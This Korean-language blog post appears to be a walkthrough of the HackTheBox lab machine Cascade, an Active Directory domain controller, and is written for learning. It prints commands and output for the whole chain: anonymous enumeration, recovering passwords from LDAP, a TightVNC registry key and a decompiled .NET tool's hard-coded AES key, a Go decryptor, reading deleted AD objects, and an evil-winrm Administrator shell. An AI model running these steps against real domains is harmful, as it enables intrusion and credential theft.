Post

HTB Cascade

Windows 침투테스트와 Active Directory와 관련된 공격 기법 등을 배우기위해 HackTheBox에서 폐기된 머신인 Cascade에 도전한다.

Domain Controller로 구성된 중간 난이도 머신으로 출시된 머신으로 천천히 머신에 침투하는 과정을 기록한다.

Recon

PortScan

발급받은 머신을 대상으로 포트 스캔 진행 시 아래와 같이 Windows 머신에서 자주 확인할 수 있는 서비스들이 오픈된 것을 확인할 수 있다. 하지만 일반적으로 침투의 초기 벡터로 사용되는 웹 서비스로 확인되는 서비스는 확인되지 않는다.

389/tcp로 확인되는 LDAP 서비스의 스캔 결과에서 cascade.local이라는 도메인으로 운영되는 것을 확인할 수 있다.

포트 스캔 이후 확인된 도메인을 /etc/hosts에 등록하였다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
Starting Nmap 7.93 ( https://nmap.org ) at 2023-09-06 14:12 KST
Nmap scan report for 10.129.232.81
Host is up (0.27s latency).

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)
| dns-nsid:
|_  bind.version: Microsoft DNS 6.1.7601 (1DB15D39)
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2023-09-06 05:12:45Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: cascade.local, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: cascade.local, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49154/tcp open  msrpc         Microsoft Windows RPC
49155/tcp open  msrpc         Microsoft Windows RPC
49157/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49158/tcp open  msrpc         Microsoft Windows RPC
49173/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: CASC-DC1; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows

Host script results:
|_clock-skew: -1s
| smb2-security-mode:
|   210:
|_    Message signing enabled and required
| smb2-time:
|   date: 2023-09-06T05:13:38
|_  start_date: 2023-09-06T01:21:37

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 107.26 seconds

DNS

포트 스캔에서 확인된 도메인에 대한 DNS 질의 시 서브 도메인은 발견할 수 없었고, Zone Transfer도 비활성화되어있다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
┌──(root㉿kali)-[~]
└─# dig any cascade.local @10.129.232.81

; <<>> DiG 9.18.1-1-Debian <<>> any cascade.local @10.129.232.81
;; global options: +cmd
;; Got answer:
;; WARNING: .local is reserved for Multicast DNS
;; You are currently testing what happens when an mDNS query is leaked to DNS
;; ->>HEADER<<- opcode: QUERY, status: FORMERR, id: 22207
;; flags: qr rd; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 1
;; WARNING: recursion requested but not available

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 1232
; COOKIE: f1aedc2632eec58e (echoed)
;; QUESTION SECTION:
;cascade.local.			IN	ANY

;; Query time: 215 msec
;; SERVER: 10.129.232.81#53(10.129.232.81) (TCP)
;; WHEN: Wed Sep 06 01:20:54 EDT 2023
;; MSG SIZE  rcvd: 54

┌──(root㉿kali)-[~]
└─# dig axfr cascade.local @10.129.232.81

; <<>> DiG 9.18.1-1-Debian <<>> axfr cascade.local @10.129.232.81
;; global options: +cmd
; Transfer failed.

SMB

다음으로 SMB에 대한 정찰을 시도했으나 익명 인증은 가능했으나 접근 가능한 공유 디렉터리는 존재하지 않았다.

1
2
3
4
5
6
7
8
9
┌──(root㉿kali)-[~/Desktop/cascade]
└─# smbclient -N -L //10.129.232.81
Anonymous login successful

	Sharename       Type      Comment
	---------       ----      -------
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.129.232.81 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available

RPC

위에서 SMB 익명 인증이 가능하였기에 rpcclient를 이용하여 익명 로그인 후 쿼리를 전송하여 유저 리스트를 구성할 수 있었다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
┌──(root㉿kali)-[~/Desktop/HTB/Cascade]
└─# rpcclient -U "" -N 10.129.232.81
rpcclient $> queryuserinfo
command not found: queryuserinfo
rpcclient $> querydispinfo
index: 0xee0 RID: 0x464 acb: 0x00000214 Account: a.turnbull	Name: Adrian Turnbull	Desc: (null)
index: 0xebc RID: 0x452 acb: 0x00000210 Account: arksvc	Name: ArkSvc	Desc: (null)
index: 0xee4 RID: 0x468 acb: 0x00000211 Account: b.hanson	Name: Ben Hanson	Desc: (null)
index: 0xee7 RID: 0x46a acb: 0x00000210 Account: BackupSvc	Name: BackupSvc	Desc: (null)
index: 0xdeb RID: 0x1f5 acb: 0x00000215 Account: CascGuest	Name: (null)	Desc: Built-in account for guest access to the computer/domain
index: 0xee5 RID: 0x469 acb: 0x00000210 Account: d.burman	Name: David Burman	Desc: (null)
index: 0xee3 RID: 0x467 acb: 0x00000211 Account: e.crowe	Name: Edward Crowe	Desc: (null)
index: 0xeec RID: 0x46f acb: 0x00000211 Account: i.croft	Name: Ian Croft	Desc: (null)
index: 0xeeb RID: 0x46e acb: 0x00000210 Account: j.allen	Name: Joseph Allen	Desc: (null)
index: 0xede RID: 0x462 acb: 0x00000210 Account: j.goodhand	Name: John Goodhand	Desc: (null)
index: 0xed7 RID: 0x45c acb: 0x00000210 Account: j.wakefield	Name: James Wakefield	Desc: (null)
index: 0xeca RID: 0x455 acb: 0x00000210 Account: r.thompson	Name: Ryan Thompson	Desc: (null)
index: 0xedd RID: 0x461 acb: 0x00000210 Account: s.hickson	Name: Stephanie Hickson	Desc: (null)
index: 0xebd RID: 0x453 acb: 0x00000210 Account: s.smith	Name: Steve Smith	Desc: (null)
index: 0xed2 RID: 0x457 acb: 0x00000210 Account: util	Name: Util	Desc: (null)

위에서 확인된 유저 리스트를 users.txt라는 파일로 구성하였고, kerbrute를 사용하여 실제로 유효한 계정을 소거할 수 있었다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
┌──(root㉿kali)-[~/Desktop/HTB/Cascade]
└─# kerbrute -users users.txt -dc-ip 10.129.39.211 -domain 'cascade.local' -outputusers valid-users.txt
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Valid user => a.turnbull
[*] Valid user => arksvc
[*] Blocked/Disabled user => b.hanson
[*] Valid user => BackupSvc
[*] Blocked/Disabled user => CascGuest
[*] Valid user => d.burman
[*] Blocked/Disabled user => e.crowe
[*] Blocked/Disabled user => i.croft
[*] Valid user => j.allen
[*] Valid user => j.goodhand
[*] Valid user => j.wakefield
[*] Valid user => r.thompson
[*] Valid user => s.hickson
[*] Valid user => s.smith
[*] Valid user => util
[*] Saved discovered users in valid-users.txt

확보한 유요한 계정 중 DONT_REQ_PREAUTH 설정된 계정이 있는지 확인하기위해 impacket-GetNPUsers를 통해 스캔을 진행했으나 취약한 구성을 가진 계정은 존재하지 않았다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──(root㉿kali)-[~/Desktop/HTB/Cascade]
└─# impacket-GetNPUsers 'cascade.local/' -usersfile valid-users.txt -dc-ip '10.129.39.211' -outputfile asreproasting.out
Impacket v0.11.0 - Copyright 2023 Fortra

[-] User a.turnbull doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User arksvc doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User BackupSvc doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User d.burman doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User j.allen doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User j.goodhand doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User j.wakefield doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User r.thompson doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User s.hickson doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User s.smith doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User util doesn't have UF_DONT_REQUIRE_PREAUTH set

LDAP

LDAP 서비스에서도 익명 바인딩이 가능한것을 확인하였고, ldapsearch를 통해 조회된 결과 중 민감한 정보로 확인되는 cascadeLegacyPwdr.thompson 계정의 정보에서 확인되었다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
...
...
...
# Ryan Thompson, Users, UK, cascade.local
dn: CN=Ryan Thompson,OU=Users,OU=UK,DC=cascade,DC=local
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: user
cn: Ryan Thompson
sn: Thompson
givenName: Ryan
distinguishedName: CN=Ryan Thompson,OU=Users,OU=UK,DC=cascade,DC=local
instanceType: 4
whenCreated: 20200109193126.0Z
whenChanged: 20200323112031.0Z
displayName: Ryan Thompson
uSNCreated: 24610
memberOf: CN=IT,OU=Groups,OU=UK,DC=cascade,DC=local
uSNChanged: 295010
name: Ryan Thompson
objectGUID:: LfpD6qngUkupEy9bFXBBjA==
userAccountControl: 66048
badPwdCount: 1
codePage: 0
countryCode: 0
badPasswordTime: 133384528480716543
lastLogoff: 0
lastLogon: 132247339125713230
pwdLastSet: 132230718862636251
primaryGroupID: 513
objectSid:: AQUAAAAAAAUVAAAAMvuhxgsd8Uf1yHJFVQQAAA==
accountExpires: 9223372036854775807
logonCount: 2
sAMAccountName: r.thompson
sAMAccountType: 805306368
userPrincipalName: r.thompson@cascade.local
objectCategory: CN=Person,CN=Schema,CN=Configuration,DC=cascade,DC=local
dSCorePropagationData: 20200126183918.0Z
dSCorePropagationData: 20200119174753.0Z
dSCorePropagationData: 20200119174719.0Z
dSCorePropagationData: 20200119174508.0Z
dSCorePropagationData: 16010101000000.0Z
lastLogonTimestamp: 132294360317419816
msDS-SupportedEncryptionTypes: 0
cascadeLegacyPwd: clk0bjVldmE=
...
...
...

해당 필드의 값은 Base64로 인코딩되어있어 디코딩한 값을 통해 로그인이 가능한 것을 확인할 수 있었다. 하지만 WinRM에 접근할 수 있는 권한은 존재하지 않았다.

1
2
3
4
5
6
7
8
9
10
┌──(root㉿kali)-[~/Desktop/HTB/Cascade]
└─# crackmapexec smb '10.129.39.211' -u 'r.thompson' -p 'rY4n5eva'
SMB         10.129.39.211   445    CASC-DC1         [*] Windows 6.1 Build 7601 x64 (name:CASC-DC1) (domain:cascade.local) (signing:True) (SMBv1:False)
SMB         10.129.39.211   445    CASC-DC1         [+] cascade.local\r.thompson:rY4n5eva

┌──(root㉿kali)-[~/Desktop/HTB/Cascade]
└─# crackmapexec winrm '10.129.39.211' -u 'r.thompson' -p 'rY4n5eva'
SMB         10.129.39.211   5985   CASC-DC1         [*] Windows 6.1 Build 7601 (name:CASC-DC1) (domain:cascade.local)
HTTP        10.129.39.211   5985   CASC-DC1         [*] http://10.129.39.211:5985/wsman
WINRM       10.129.39.211   5985   CASC-DC1         [-] cascade.local\r.thompson:rY4n5eva

Foothold

SMB (r.thompson)

확보한 r.thompson 계정을 통해 익명으로 열거가 불가능했던 공유 디렉터리 열거가 가능하였다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
┌──(root㉿kali)-[~/Desktop/cascade]
└─# smbclient -L  //10.129.232.81/ -U 'r.thompson'
Password for [WORKGROUP\r.thompson]:

	Sharename       Type      Comment
	---------       ----      -------
	ADMIN$          Disk      Remote Admin
	Audit$          Disk
	C$              Disk      Default share
	Data            Disk
	IPC$            IPC       Remote IPC
	NETLOGON        Disk      Logon server share
	print$          Disk      Printer Drivers
	SYSVOL          Disk      Logon server share

그 중 Data 공유 디렉터리에 흥미로워보이는 파일들이 존재하여 해당 공유 디렉터리에서 접근 가능한 모든 파일을 공격자 PC로 다운로드하였다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──(root㉿kali)-[~/Desktop/cascade/smbdump]
└─# smbclient //10.129.232.81/Data -U 'r.thompson'
Password for [WORKGROUP\r.thompson]:
Try "help" to get a list of possible commands.
smb: \> recurse ON
smb: \> prompt OFF
smb: \> mget *
NT_STATUS_ACCESS_DENIED listing \Contractors\*
NT_STATUS_ACCESS_DENIED listing \Finance\*
NT_STATUS_ACCESS_DENIED listing \Production\*
NT_STATUS_ACCESS_DENIED listing \Temps\*
getting file \IT\Email Archives\Meeting_Notes_June_2018.html of size 2522 as IT/Email Archives/Meeting_Notes_June_2018.html (2.9 KiloBytes/sec) (average 2.9 KiloBytes/sec)
getting file \IT\Logs\Ark AD Recycle Bin\ArkAdRecycleBin.log of size 1303 as IT/Logs/Ark AD Recycle Bin/ArkAdRecycleBin.log (1.5 KiloBytes/sec) (average 2.2 KiloBytes/sec)
getting file \IT\Logs\DCs\dcdiag.log of size 5967 as IT/Logs/DCs/dcdiag.log (7.0 KiloBytes/sec) (average 3.8 KiloBytes/sec)
getting file \IT\Temp\s.smith\VNC Install.reg of size 2680 as IT/Temp/s.smith/VNC Install.reg (3.1 KiloBytes/sec) (average 3.6 KiloBytes/sec)

\IT\Email Archives\Meeting_Notes_June_2018.html에서 아래와 같은 내용을 확인할 수 있었으며, 임시 계정을 통해 네트워크 마이그레이션 작업을 진행하는데 작업 시 사용되는 계정은 TempAdmin이며 패스워드는 기존 Administrator 계정의 패스워드와 동일하다고 한다.

Desktop View

\IT\Temp\s.smith\VNC Install.reg 파일의 내용에서 s.smithThightVNC 패스워드로 보이는 필드에서 HEX로 구성된 패스워드를 확인할 수 있었다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\TightVNC]

[HKEY_LOCAL_MACHINE\SOFTWARE\TightVNC\Server]
"ExtraPorts"=""
"QueryTimeout"=dword:0000001e
"QueryAcceptOnTimeout"=dword:00000000
"LocalInputPriorityTimeout"=dword:00000003
"LocalInputPriority"=dword:00000000
"BlockRemoteInput"=dword:00000000
"BlockLocalInput"=dword:00000000
"IpAccessControl"=""
"RfbPort"=dword:0000170c
"HttpPort"=dword:000016a8
"DisconnectAction"=dword:00000000
"AcceptRfbConnections"=dword:00000001
"UseVncAuthentication"=dword:00000001
"UseControlAuthentication"=dword:00000000
"RepeatControlAuthentication"=dword:00000000
"LoopbackOnly"=dword:00000000
"AcceptHttpConnections"=dword:00000001
"LogLevel"=dword:00000000
"EnableFileTransfers"=dword:00000001
"RemoveWallpaper"=dword:00000001
"UseD3D"=dword:00000001
"UseMirrorDriver"=dword:00000001
"EnableUrlParams"=dword:00000001
"Password"=hex:6b,cf,2a,4b,6e,5a,ca,0f
"AlwaysShared"=dword:00000000
"NeverShared"=dword:00000000
"DisconnectClients"=dword:00000001
"PollingInterval"=dword:000003e8
"AllowLoopback"=dword:00000000
"VideoRecognitionInterval"=dword:00000bb8
"GrabTransparentWindows"=dword:00000001
"SaveLogToAllUsersPath"=dword:00000000
"RunControlInterface"=dword:00000001
"IdleTimeout"=dword:00000000
"VideoClasses"=""
"VideoRects"=""

TightVNC Password Crack (s.smith)

위에서 확인된 s.smith의 패스워드로 추정되는 HEX 값을 어떤식으로 활용 할 수 있을지 찾아보던 중 vncpasswd.py 레포지토리를 확인할 수 있었으며, VNC 패스워드를 복호화해주는 도구로 확인된다.

해당 레포지토리를 클론 후 vncpasswd.py를 통해 확보한 s.smith의 패스워드 HEX를 입력할 경우 아래와 같이 패스워드가 복호화되는 것을 확인할 수 있었다.

1
2
3
4
┌──(root㉿kali)-[~/Desktop/HTB/Cascade/vncpasswd.py]
└─# ./vncpasswd.py -d -H '6bcf2a4b6e5aca0f'
Decrypted Bin Pass= 'sT333ve2'
Decrypted Hex Pass= '7354333333766532'

복호화된 패스워드가 s.smith 계정에 패스워드로 유효한지 테스트하니 정상적으로 SMB 인증이 가능하여 유효한 패스워드로 확인된다. 추가적으로 s.smith는 WinRM 접근 권한이 존재하였다.

1
2
3
4
5
6
7
8
9
10
┌──(root㉿kali)-[~/Desktop/HTB/Cascade]
└─# crackmapexec smb '10.129.39.211' -u 's.smith' -p 'sT333ve2'
SMB         10.129.39.211   445    CASC-DC1         [*] Windows 6.1 Build 7601 x64 (name:CASC-DC1) (domain:cascade.local) (signing:True) (SMBv1:False)
SMB         10.129.39.211   445    CASC-DC1         [+] cascade.local\s.smith:sT333ve2

┌──(root㉿kali)-[~/Desktop/HTB/Cascade]
└─# crackmapexec winrm '10.129.39.211' -u 's.smith' -p 'sT333ve2'
SMB         10.129.39.211   5985   CASC-DC1         [*] Windows 6.1 Build 7601 (name:CASC-DC1) (domain:cascade.local)
HTTP        10.129.39.211   5985   CASC-DC1         [*] http://10.129.39.211:5985/wsman
WINRM       10.129.39.211   5985   CASC-DC1         [+] cascade.local\s.smith:sT333ve2 (Pwn3d!)

SMB (s.smith)

위에서 s.smith 계정으로 WinRM 접근이 가능한 것으로 확인되어 evil-winrm을 통해 s.smith 터미널에 접근 후 시스템을 정찰해도 의미있는 정보는 파악할 수 없었으며, BloodHound를 통해 AD 정보를 분석하여도 현재까지 확보한 r.thompson과 s.smith 계정으로 어뷰징이 가능한 포인트는 찾을 수 없었다.

Desktop View

하지만 s.smith 계정이 속한 그룹 정보를 보면 AUDIT SHARE 그룹의 멤버로, 해당 그룹의 설명에서 \\Casc-DC1\Audit$라는 설명을 확인할 수 있었다.

Desktop View

설명에 내용은 공유 디렉터리 중 Audit$에 접근이 가능한것으로 파악되어 s.smith 계정으로 해당 공유 디렉터리에 접근 시 r.thompson 계정에서 접근이 불가능했던 공유 디렉터리에 정상적으로 접근이 가능하였다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
┌──(root㉿kali)-[~/Desktop/cascade/smbdump-smith/Data]
└─# smbclient //10.129.232.81/Audit$ -U 's.smith'
Password for [WORKGROUP\s.smith]:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Wed Jan 29 13:01:26 2020
  ..                                  D        0  Wed Jan 29 13:01:26 2020
  CascAudit.exe                      An    13312  Tue Jan 28 16:46:51 2020
  CascCrypto.dll                     An    12288  Wed Jan 29 13:00:20 2020
  DB                                  D        0  Tue Jan 28 16:40:59 2020
  RunAudit.bat                        A       45  Tue Jan 28 18:29:47 2020
  System.Data.SQLite.dll              A   363520  Sun Oct 27 02:38:36 2019
  System.Data.SQLite.EF6.dll          A   186880  Sun Oct 27 02:38:38 2019
  x64                                 D        0  Sun Jan 26 17:25:27 2020
  x86                                 D        0  Sun Jan 26 17:25:27 2020

		6553343 blocks of size 4096. 1624964 blocks available

CascAudit.exe

Audit$ 공유 디렉터리에서 확인되는 CascAudit.exe를 공격자 PC로 다운로드하여 파일을 분석하니 .NET 콘솔 프로그램으로 확인된다.

Desktop View

해당 파일을 dnspy를 통해 소스코드를 분석하니 메인에서 아래와 같은 코드를 확인할 수 있었다. 코드에는 생략되어있지만 인자로 받은 DB파일(sqlite)에서 LDAP 테이블을 조회하고 해당 테이블에서 Pwd` 필드의 값을 복호화한다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
string str = string.Empty;
string password = string.Empty;
string str2 = string.Empty;
try
{
	sqliteConnection.Open();
	using (SQLiteCommand sqliteCommand = new SQLiteCommand("SELECT * FROM LDAP", sqliteConnection))
	{
		using (SQLiteDataReader sqliteDataReader = sqliteCommand.ExecuteReader())
		{
			sqliteDataReader.Read();
			str = Conversions.ToString(sqliteDataReader["Uname"]);
			str2 = Conversions.ToString(sqliteDataReader["Domain"]);
			string encryptedString = Conversions.ToString(sqliteDataReader["Pwd"]);
			try
			{
				password = Crypto.DecryptString(encryptedString, "c4scadek3y654321");
			}
			catch (Exception ex)
			{
				Console.WriteLine("Error decrypting password: " + ex.Message);
				return;
			}
		}
	}
	sqliteConnection.Close();
}

Audit$ 공유 디렉터리의 \DB\Audit.db가 해당 콘솔 프로그램에서 사용되었던 DB 파일로 예상되어 Audit.db 파일을 열어 확인해보니 LDAP 테이블에서 아래와 같이 ArkSvc 계정의 암호화된 패스워드를 확인할 수 있었다.

Desktop View

위에서 확인한 .NET 코드 중 아래와 같은 구문을 통해 패스워드를 복호화하여 password 변수에 저장하는것으로 확인된다.

1
password = Crypto.DecryptString(encryptedString, "c4scadek3y654321");

DescryptString 함수의 내용을 보면, 첫번째로 전달되는 encryptedString은 Audit.db의 LDAP 테이블에 존재하는 pwd의 값으며 두번째로 전달되는 값은 복호화 키로 확인된다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public static string DecryptString(string EncryptedString, string Key)
{
	byte[] array = Convert.FromBase64String(EncryptedString);
	Aes aes = Aes.Create();
	aes.KeySize = 128;
	aes.BlockSize = 128;
	aes.IV = Encoding.UTF8.GetBytes("1tdyjCbY1Ix49842");
	aes.Mode = CipherMode.CBC;
	aes.Key = Encoding.UTF8.GetBytes(Key);
	string @string;
	using (MemoryStream memoryStream = new MemoryStream(array))
	{
		using (CryptoStream cryptoStream = new CryptoStream(memoryStream, aes.CreateDecryptor(), CryptoStreamMode.Read))
		{
			byte[] array2 = new byte[checked(array.Length - 1 + 1)];
			cryptoStream.Read(array2, 0, array2.Length);
			@string = Encoding.UTF8.GetString(array2);
		}
	}

위에서 확인된 DecryptString 함수를 GoLang으로 변경하여 암호화된 패스워드를 복호화시도한다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
package main

import (
	"crypto/aes"
	"crypto/cipher"
	"encoding/base64"
	"fmt"
)

func DecryptString(encryptedString string, key string) (string, error) {
	encryptedData, err := base64.StdEncoding.DecodeString(encryptedString)
	if err != nil {
		return "", err
	}

	// AES 키와 IV 설정
	keyBytes := []byte(key)
	iv := []byte("1tdyjCbY1Ix49842")

	// AES 블록 생성
	block, err := aes.NewCipher(keyBytes)
	if err != nil {
		return "", err
	}

	// CBC 모드로 복호화 설정
	mode := cipher.NewCBCDecrypter(block, iv)

	// 복호화된 데이터를 저장할 슬라이스 생성
	decryptedData := make([]byte, len(encryptedData))

	// 데이터를 복호화하고 복호화된 데이터를 decryptedData에 저장
	mode.CryptBlocks(decryptedData, encryptedData)

	// 패딩 제거
	decryptedData = unpad(decryptedData)

	return string(decryptedData), nil
}

func unpad(data []byte) []byte {
	length := len(data)
	unpadding := int(data[length-1])
	return data[:length-unpadding]
}

func main() {
	encryptedString := "BQO5l5Kj9MdErXx6Q6AGOw=="
	key := "c4scadek3y654321"
	decryptedString, err := DecryptString(encryptedString, key)
	if err != nil {
		fmt.Println("Error:", err)
		return
	}
	fmt.Println("Decrypted String:", decryptedString)
}

이렇게 ArkSvc 계정의 패스워드로 추정되는 값을 확보할 수 있었고, SMB와 WinRM 인증 시도를 통해 계정과 패스워드가 유효한것도 확인할 수 있었다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
┌──(root㉿kali)-[~/Desktop/HTB/Cascade/smb-smith]
└─# go run main.go
Decrypted String: w3lc0meFr31nd

┌──(root㉿kali)-[~/Desktop/HTB/Cascade/smb-smith]
└─# crackmapexec winrm '10.129.39.211' -u 'arksvc' -p 'w3lc0meFr31nd'
arkSMB         10.129.39.211   5985   CASC-DC1         [*] Windows 6.1 Build 7601 (name:CASC-DC1) (domain:cascade.local)
HTTP        10.129.39.211   5985   CASC-DC1         [*] http://10.129.39.211:5985/wsman
WINRM       10.129.39.211   5985   CASC-DC1         [+] cascade.local\arksvc:w3lc0meFr31nd (Pwn3d!)

┌──(root㉿kali)-[~/Desktop/HTB/Cascade/smb-smith]
└─# crackmapexec smb '10.129.39.211' -u 'arksvc' -p 'w3lc0meFr31nd'
SMB         10.129.39.211   445    CASC-DC1         [*] Windows 6.1 Build 7601 x64 (name:CASC-DC1) (domain:cascade.local) (signing:True) (SMBv1:False)
SMB         10.129.39.211   445    CASC-DC1         [+] cascade.local\arksvc:w3lc0meFr31nd

User

ArkSvc

확보한 ArkSvc 계정도 BloodHound에서 그룹 정보를 확인하니 흥미로워 보이는 AD RECYCLE BIN이라는 그룹에 포함되어있는 것을 확인할 수 있었다.

Desktop View

AD Recycle Bin

AD Recycle Bin 그룹은 알려진 Windows 그룹으로 Windows Server 2008 부터 지원되기 시작한 그룹이다.

위 링크의 내용과 ChatGPT의 답변을 보면 해당 그룹에 속한 사용자는 AD 휴지통에 존재하는 개체들의 정보를 조회하거나 복원할 수 있다고한다. 관련되서 조회 및 복원 방법도 GPT에게 물어보니 참 착하게 답변을 잘 해준다.

Desktop View

기존 r.thompson 계정으로 SMB Data 공유 디렉터리에서 확인했던 Meeting_Notes_June_2018.html 파일 내용중 네트워크 마이그레이션 작업에 이용한 관리자 권한의 TempAdmin 계정을 아래 명령을 통해 AD 휴지통에서 확인할 수 있었고, cascadeLegacyPwd 필드에 Base64 인코딩된 패스워드를 확인할 수 있었다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
*Evil-WinRM* PS C:\Users\arksvc\Desktop> Get-ADObject -Filter {isDeleted -eq $true} -IncludeDeletedObjects -Property *


...
...
...

accountExpires                  : 9223372036854775807
badPasswordTime                 : 0
badPwdCount                     : 0
CanonicalName                   : cascade.local/Deleted Objects/TempAdmin
                                  DEL:f0cc344d-31e0-4866-bceb-a842791ca059
cascadeLegacyPwd                : YmFDVDNyMWFOMDBkbGVz
CN                              : TempAdmin
                                  DEL:f0cc344d-31e0-4866-bceb-a842791ca059
codePage                        : 0
countryCode                     : 0
Created                         : 1/27/2020 3:23:08 AM
createTimeStamp                 : 1/27/2020 3:23:08 AM
Deleted                         : True
Description                     :
DisplayName                     : TempAdmin
DistinguishedName               : CN=TempAdmin\0ADEL:f0cc344d-31e0-4866-bceb-a842791ca059,CN=Deleted Objects,DC=cascade,DC=local
dSCorePropagationData           : {1/27/2020 3:23:08 AM, 1/1/1601 12:00:00 AM}
givenName                       : TempAdmin
instanceType                    : 4
isDeleted                       : True
LastKnownParent                 : OU=Users,OU=UK,DC=cascade,DC=local
lastLogoff                      : 0
lastLogon                       : 0
logonCount                      : 0
Modified                        : 1/27/2020 3:24:34 AM
modifyTimeStamp                 : 1/27/2020 3:24:34 AM
msDS-LastKnownRDN               : TempAdmin
Name                            : TempAdmin
                                  DEL:f0cc344d-31e0-4866-bceb-a842791ca059
nTSecurityDescriptor            : System.DirectoryServices.ActiveDirectorySecurity
ObjectCategory                  :
ObjectClass                     : user
ObjectGUID                      : f0cc344d-31e0-4866-bceb-a842791ca059
objectSid                       : S-1-5-21-3332504370-1206983947-1165150453-1136
primaryGroupID                  : 513
ProtectedFromAccidentalDeletion : False
pwdLastSet                      : 132245689883479503
sAMAccountName                  : TempAdmin
sDRightsEffective               : 0
userAccountControl              : 66048
userPrincipalName               : TempAdmin@cascade.local
uSNChanged                      : 237705
uSNCreated                      : 237695
whenChanged                     : 1/27/2020 3:24:34 AM
whenCreated                     : 1/27/2020 3:23:08 AM

패스워드를 Base64 디코딩 후 Administrator 계정으로 로그인이 가능하였다. 이렇게 Cascade 머신을 해결할 수 있었다.

1
2
3
┌──(root㉿kali)-[~/Desktop/cascade/smbdump-smith]
└─# echo "YmFDVDNyMWFOMDBkbGVz" | base64 -d
baCT3r1aN00dles
1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(root㉿kali)-[~/Desktop/cascade/smbdump-smith]
└─# evil-winrm -i '10.129.114.20' -u 'Administrator' -p 'baCT3r1aN00dles'

Evil-WinRM shell v3.3

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
cascade\administrator

This post is licensed under CC BY 4.0 by the author.